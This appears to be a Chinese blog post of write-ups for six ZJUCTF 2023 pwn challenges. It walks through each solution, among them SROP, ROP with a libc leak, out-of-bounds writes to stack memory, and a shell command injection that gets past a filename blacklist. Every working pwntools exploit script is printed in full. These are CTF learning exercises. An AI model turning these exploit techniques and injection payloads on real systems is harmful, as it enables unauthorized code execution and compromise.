2023-ZJUCTF-Pwn

引言:

2023年ZJUCTF-Pwn方向部分题题解,包含5rop,welcome,nya,game,logger,drawer。考点基本在栈和数组溢出上。其中有些题目支持本地环境可以在本地复现出来,有些题目需要远程打不能复现。Pwn方向的题难度真的好大......有哪里写的不对的地方还请指出呜呜

1.1 5rop

用IDA反汇编,打开,一览无遗......

观察代码段,发现一处栈溢出:

只有一处栈溢出那应该是rop。但由于程序使用了sys_read(内核函数),没有可以利用的GOT和PLT,所以肯定不是常规的Rop。

再找一下程序中还有没有其他可以利用的地方,发现:

  • .text:0000000000401015 pop rax; retn

  • 0x402000 /bin/sh

  • 0x401012 syscall;ret

现在明确:

  • rax可控,可以用来盛装系统调用号
  • syscall代码碎片可以利用(因其后有ret),配合rax可以触发任意系统调用
  • /bin/sh字符串存在,可以想办法把地址放进rdi里,配合syscallgetshell

目前的难点在于我们如何把/bin/sh的地址放到rdi里。一想到控寄存器,就想到Srop。

在触发系统调用时,操作系统会将程序从用户态切换到内核态,需要将所有寄存器压入栈中以保存上下文,以便在结束系统调用时可以恢复程序的状态。

有没有什么联系?寄存器?栈?由于栈是可控的,所以我们可以通过对栈的排布,让操作系统在恢复上下文的时候将栈上指定的值pop到我们需要的寄存器中。

(图源CTF-wiki)

幸运的是pwntools集成了Srop的工具。

下面再来碎碎念一下,作为一名合格(不了一点)的Pwn人需要随时都能背出shellcode

1
2
3
4
5
6
7
mov rax, 0x3b ; 系统调用号
mov rdi, sh_address
mov rsi, 0
mov rdx, 0
mov rcx, 0
mov rbx, 0
syscall ; execve("/bin/sh", 0, 0);

利用15系统调用号触发Srop,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

# p = remote("ctfenv.zjusec.net", 45115)
p = process("./chall")
start = 0x402000
# 0x0000000000401015 : pop rax ; ret
pop_rax = 0x401015
syscall_ret = 0x401012
sh_address = 0x402000
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload = p64(pop_rax) + p64(15) + p64(syscall_ret) + bytes(frame)

p.send(payload)

p.interactive()

拿到shell

1.2 nya

丢进IDA反汇编,运行一下

分析了一下,程序的主逻辑就是循环25次,每次可以给人物不同的属性加点,根据输入数字的不同,每次加的点数随机,甚至还会有其他的属性被扣点。当每个属性的点数到999就可以拿到flag了。

但经过尝试,发现如果循规蹈矩,25次甚至连一个属性都加不满。

看左侧的函数栏,发现每次加点的多少其实是由不同的函数处理的。

根据加点的多少,从小到大分为:

  • success

  • great success

  • unbelievable success

  • unexpected

    其中unexpected函数的加点是固定的——给每个属性都加6点。这点很重要,之后要用到。但是很显然,就算加6点,25次循环也不可能到999。

观察train函数,我们先输入一个lucky number,程序对该数字进行操作,最后用处理结果通过roll函数给属性加点。

roll函数如下:

rand随机数...又来?又对数据进行了处理,根据处理结果分不同的函数加点。通过尝试发现,加点最多的是unbelievable success

通过多次尝试,偶然触发了一次:

但是概率实在是太低了,按照正常的方法肯定不行。

所以,为了让每次都能触发usuccess,必须保证:

每次的v6都大于100--> 每次的train函数处理结果足够小

好好好,正片开始:

train的处理结果是一个16位的short int类型的数据,这里我们把它分为高八位和低八位(下面将该数据称为result)

readstr() 函数off by NULL

看readstr函数

很明显的off by null。程序规定输入字符串的长一定小于3,如果大于3,会在第4位处添加0x00字符截断。

观察train函数,发现读入的string与result的在栈上的地址相邻,也就是说,这里的off by null会将result的低八位覆盖为0

只要我们在Yes or NO 的时候输入YYYY就OK。

至于高八位,再次观察train函数:

只要保证v0为0,就可以让result高八位为0。

因为要求一个相对于0xFFFF的逆元,把v3爆破出来:

1
2
3
4
5
while(1){
v = 0
if((0xCAFE * v - 0x4542) % 0x10000==0) break
v += 1
}

求出v3 = 18

好了,完事具备~

前几次我们要去触发usuccess

运行程序,见证奇迹:

再来几次,发现到最后没法把所有的属性同时变成999

这时候利用off by NULL 触发 unexpected success,成功get flag(本地环境无flag)

1.3 Welcome

扔进IDA反汇编

程序的大意的现在有一个长度为8的数组,现在指针指在数组的第一位,通过A,D左右移动指针的位置,通过W,S来使指针指向的数字加1或减一。其中backdoor函数是后门函数,我们只需利用一些手段让程序执行backdoor就好~

嗯,一打开就知道是经典的数组溢出的题型。我猜应该没有限制输入的下标叭,那岂不是可以任意修改栈地址和返回地址(笑)

+++

由于S数组布置在栈上,因为它没有限制下标,所以我们可以去任意修改S[]和S[]位置的数字。

这里还走了点弯路,由于本题开了地址随机化,我们只能去根据函数地址之间的偏移去对返回地址进行修改。一开始只想着从S数组往下修改了,即修改main函数的返回地址到backdoor,找了一半天libc_start_main_ret,才想起来这个b东西是内核地址,libc加载的基址都不知道,改毛线。

后来受学长的点拨,才回过味来,向下修改不行可以向上修改。

正片开始:

发现本题的输入可以是字符串,然后main函数调用process函数,按照从前往后的顺序按位处理字符。也就是说,当main函数调用process的时候,栈空间如下:

1
2
3
4
5
6
7
8
9
| space for 'process' |
|---------------------|
| rbp | 8 bytes
|---------------------|
| retaddr of 'process'| 8 bytes
|---------------------|
| i | 8 bytes
|---------------------|
| s[] | 8 bytes <- pointer

所以,我们只需要让process自己改自己就好了。即移动指针,修改retaddr of 'process'为backdoor

明确,process的返回地址是在main函数中,call process的后一条汇编指令的地址即0x1591

(这里所说的地址其实是相对start函数基址的偏移量)

backdoor的地址为0x1289

算偏移改地址就OK

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# p = remote("ctfenv.zjusec.net", 41533)
p = process("./welcome")
# 0000000000001591
# 1289
# gdb.attach(p)
# pause()
payload = b"A" * 24 + b"S" * 2 + b"D" + b"S" * 3
p.sendlineafter(">", payload)

# payload = b"S" * 2 + b"A" + b"S" * 3
# p.sendlineafter(">", payload)

p.interactive()


get shell

1.4 game

可以说是上一题的考点+ROP。扔进IDA反汇编

本程序的大意就是跟对面下棋,赢了就会调用win_game的函数,输了就寄了。在win_game里让你输入一个字符串(名字)会有一个栈的溢出点。

很明显,本题先要把对面赢了,然后在win_game里ROP,获取shell。

运行下程序,好好好,直接往中间下是吧,这赢个鬼。

看下胜利的判断条件,发现有一个全局变量byte_4061,其置1表示游戏胜利。并且我们发现,该棋盘其实是一个数组,下棋的过程实际上就是使数组下标为3 * row + column的数字置1 。尝试下负数,发现可以,不会报错。那现在去找数组地址和byte_4061地址的偏差,用welcome中的思路,把byte_4061改成1就好了。

数组首地址为0x4074,偏移19,拆解因数3 * 6 + 1 * 1

试运行,完全OK

好好好,下面就是利用栈溢出ROP了。由于开了地址随机化,我们不能找到start函数的基址,也不能直接调用puts等函数,所以需要ROP三次。

  • 第一次,填满win_game_retaddr以上的栈空间,利用演员printf顺势拉出win_game函数的返回地址。通过该返回地址与地址偏移量,计算start基址与任意已调函数的GOTPLT
  • 第二次,利用经典的ROP调用链,泄露libc中函数的地址,根据libc文件中函数地址的偏移,计算libc基址

  • 第三次,利用libc基址和one_gadget,计算execve函数地址,覆盖win_game函数返回地址,get_shell。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.log_level = "debug"
context.arch = "amd64"

# p = remote("ctfenv.zjusec.net", 20218)
p = process("./game")
elf = ELF("./game")
libc = ELF("./libc.so.6")
def bof():
p.sendlineafter("row:", b"-6")
p.sendlineafter("col:", b"-1")

bof()
padding = b"A" * (256 + 8)
payload = b"A" * (256 + 8)
p.recv()

p.sendafter("name:", payload)

p.recvuntil(payload)

win_ret = u64(p.recv(6).ljust(8, b"\x00"))
p.info(hex(win_ret))
# 0000000000001D2D
win_ret_offset = 0x1d2d
win_game_offset = 0x1384

offset = win_ret_offset - win_game_offset

win_game = win_ret - offset
base = win_game - win_game_offset

p.sendline(b"Y")

bof()

put_plt = base + elf.plt["puts"]
put_got = base + elf.got["puts"]
pop_rdi = base + 0x0000000000001db3

payload = padding + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(win_game)
p.recv()
p.send(payload)

p.sendlineafter("again?", b"Y")
p.recvuntil(b"\n")
put_addr = u64(p.recv(6).ljust(8,b"\x00"))
base_addr = put_addr - libc.sym["puts"]
p.info(hex(base_addr))
one_gadget = base_addr + 0xe3b01
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [] == NULL || r15 == NULL
# [] == NULL || r12 == NULL
#
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [] == NULL || r15 == NULL
# [] == NULL || rdx == NULL
#
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [] == NULL || rsi == NULL
# [] == NULL || rdx == NULL

p.recv()

payload = padding + p64(one_gadget)

p.send(payload)
p.recv()
p.sendline(b"Y")
p.interactive()

1.5 logger

好烦的一道题,做了好久,最后还是在求助下完成的(虽然被标是trivial难度的....)

直接给了源码,好好好。是一个Json字符串解析的程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
............(上面还有好多行)
void handler()
{
json_object *jobj;
int i;
uint8_t jbuf[] = {0};
uint8_t sbuf[] = {0};

for (i = 0; i < COUNT; i++)
{
printf("remain chance: 0x%x\n", i);
/* 1. get user input via json str */
read_wrap(jbuf, 512);

/* 2. parse it */
jobj = json_tokener_parse(jbuf);
if (!jobj || !json_object_is_type(jobj, json_type_object))
{
printf("bad format log, try again\n");
continue;
}

internal_handler(jobj, sbuf);

json_object_put(jobj);

memset(jbuf, 0, sizeof(jbuf));
}

return;
}

int main(int argc, char *argv[])
{
prepare();
handler();
return 0;
}

输入一个Json字符串,程序会分成员进行解析。如果检测无误,就会调用wrapper执行touch指令去创建一个以title中字符串为名的文件。在这之前,程序还会检测title中的成分,保证不含有恶意字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bool file_name_check(char *filename, int checklen)
{
if (checklen >= NAME_MAX - 1)
{
error_exit(STRICT);
return false;
}

for (int i = 0; i < checklen; i++)
{
char tmp = filename[i];
if (tmp == ';' || tmp == '&' || tmp == '|' || tmp == '>' || tmp == '<' ||
tmp == '`' || tmp == '$' || tmp == '!' || tmp == '(' || tmp == '(' ||
tmp == '"' || tmp == "\'")
return false;
}
return true;
}

void do_touch_wrap(char *filename)
{
int size;
char *cmd;

size = strlen(filename) + 16;
cmd = malloc(size);
memset(cmd, 0, size);
sprintf(cmd, "touch %s", filename);
system(cmd);
free(cmd);
}

OK,目标明确——绕过检测,只要能执行touch **;cat flag就行。

有一个切入点,file_name_check是根据title的长度进行检测的,长度以外的东西检测不到,但同样被输入到cmd中。

看了下输入的函数,由于我们要输入标准格式的Json字符串,所以没办法用00截断。

很有意思的一点,这道题中xor_handler没有对数组进行memset,也就是说,我们上一次输入的数据,在下一次输入时仍然存在原地,即便先前输入的东西过不了check。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void o_xor_handler(uint8_t *title, uint8_t *data, char *stackbuf)
{
char *filenamebuf = stackbuf;
int fd;
int titlesize = strlen(title);

if (!file_name_check(filenamebuf, titlesize))
{
error_exit(STRICT);
return;
}

do_touch_wrap(filenamebuf);

// prepare the output, xor
for (int i = 0; i < strlen(data); i++)
{
data[] ^= XOR_OUT_KEY;
}
/*没有memset*/
b64_enc(data, data, strlen(data));
fd = open(filenamebuf, O_WRONLY);

if (fd < 0)
return;

write(fd, data, strlen(data));
close(fd);
}

好嘞,那就没有任何问题了,直接写EXP打:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# p = remote("ctfenv.zjusec.net", 23192)
p = process("./app")
p.sendlineafter("chance:", b"{\"flag\": 262145 ,\"title\":\"b;/bin/sh\",\"data\":\"dddddddd\"}".ljust(513,b"\x00"))
p.sendlineafter("chance:", b"{\'flag\': 65537 ,\'title\':\'b\',\'data\':\'dddddddd\'}".ljust(513, b"\x00"))


p.interactive()

需要注意的两点:

  • 本题的输入函数是需要读满512个字节,所以需要对输入的payload进行00补全
  • 这里的flag其实的以掩码形式存在的,在程序内会被转化成1,2,4,8等。之前没注意到,在这卡了好半天。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
switch ((get_out_mask(l_flag)))
{
case PLAIN_E_BIT:
o_plain_handler(l_title, deced_buf, stackbuf);
break;
case BASE32_E_BIT:
o_base32_handler(l_title, deced_buf, stackbuf);
break;
case BASE64_E_BIT:
o_base64_handler(l_title, deced_buf, stackbuf);
break;
case XOR_E_BIT:
o_xor_handler(l_title, deced_buf, stackbuf);
break;
default:
return;
}

成功get shell:

1.6 drawer

做的很吐血的一道pwn题,还学了一下Docker容器。在本地没有办法模拟,就说一下思路叭。

开局直接给了docker的配置:

1
2
3
4
5
|
|--start.sh
|--log.sh
|--Docker
|--drawer.elf

查看Docker文件,其实看不太懂,但大意就是会运行start.sh

而start.sh是程序的启动脚本。不管这些,看程序先:

菜单?堆题?再仔细看看,好像不是。

程序实现了一个简单的画画的功能。

  • new函数:输入长和宽,在堆中分配一段空间,空间大小为长乘宽
  • draw函数:在刚刚分配的空间内输入内容
  • preview函数:用于输出刚才输入的内容
  • save函数:输入一个1byte长度的字符,以它作为 名字打开或新建一个文件,并把刚才输入的内容写入。

save函数如下:

可以看到它在创建了一个8bytes的filename数组后并没有memset将其置0,而是直接输入。

OK,那就有思路了,我们可以利用栈上存留的脏数据,让filename=start.sh,从而修改启动脚本中的代码。由于容器不会被销毁,则第一次运行之后的结果在下次运行时仍然保留。即下次运行时的启动脚本,就是我们修改之后的了。

至于怎么把脏数据布置到栈上嘛,当然要请另外几个函数帮忙啦~

正片开始:

首先,利用new函数和draw函数把我们需要的东西输进去。

(start.sh原本的内容+cat flag)

1
content = "#!/bin/sh\ncat flag;\n/etc/init.d/xinetd start;\nsleep infinity;"

在save函数里,filename的栈地址为rbp-0x10 。需要明确,main函数中调用的函数所创建的新的函数栈,rsp可能会有所变化但rbp一定不变。

在preview函数中有rbp-0x10地址的变量,并且可以输入,并且的long unsigend类型。(long unsigned类型数据是8bytes的)可以利用。

但要注意,由于我们输入的是一个整形数,所以我们需要将start.sh字符串转化为整形数。(ASCII码值,小端规则)打进栈中。

1
idx = int.from_bytes(b"start.sh", byteorder="little")

接下来是save函数。

scanf函数输入字符串,会自动在它后面加一个0x00用于截断,但是我们的栈都布置好了,它一截断破坏栈结构。

重点来了!在isoc99_scanf的源码中,如果其收到了EOF信号会直接跳出来,不做任何输入。所以,在这里我们直接把与容器的链接shutdownisoc99_scanf会收到EOF被跳过,如此一来我们就可以顺利写入啦~

再次nc容器,就能直接把flag cat出来。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.arch="amd64"
context.log_level = "debug"
import tty
p = remote("ctfenv.zjusec.net", 33898)
# p = process("./drawer")
def add(index,width,length):
p.sendlineafter(">", "1")
p.sendlineafter("width:", str(width))
p.sendlineafter("height:", str(length))

def draw(index, content):
p.sendlineafter(">", '2')
p.sendlineafter("index: ", str(index))
p.sendlineafter("input pixel: ", content)

def preview(index):
p.sendlineafter(">", '3')
p.sendlineafter("index: ", str(index))

def save(name, index):
p.sendlineafter(">", '4')
# p.sendlineafter("name: ", 's' + chr(tty.CEOF))
# p.sendlineafter("which picture? ", str(index))
p.recv()
p.shutdown()

add(1, 12, 12)

content = "#!/bin/sh\ncat flag;\n/etc/init.d/xinetd start;\nsleep infinity;"
draw(0, content)

idx = int.from_bytes(b"start.sh", byteorder="little")

preview(idx)
# gdb.attach(p)

save('s', 0)
# 7526410479936304243
p = remote("ctfenv.zjusec.net", 33898)
p.interactive()

就这些了,剩下的就没做出来了呜呜呜,还是太菜,继续练~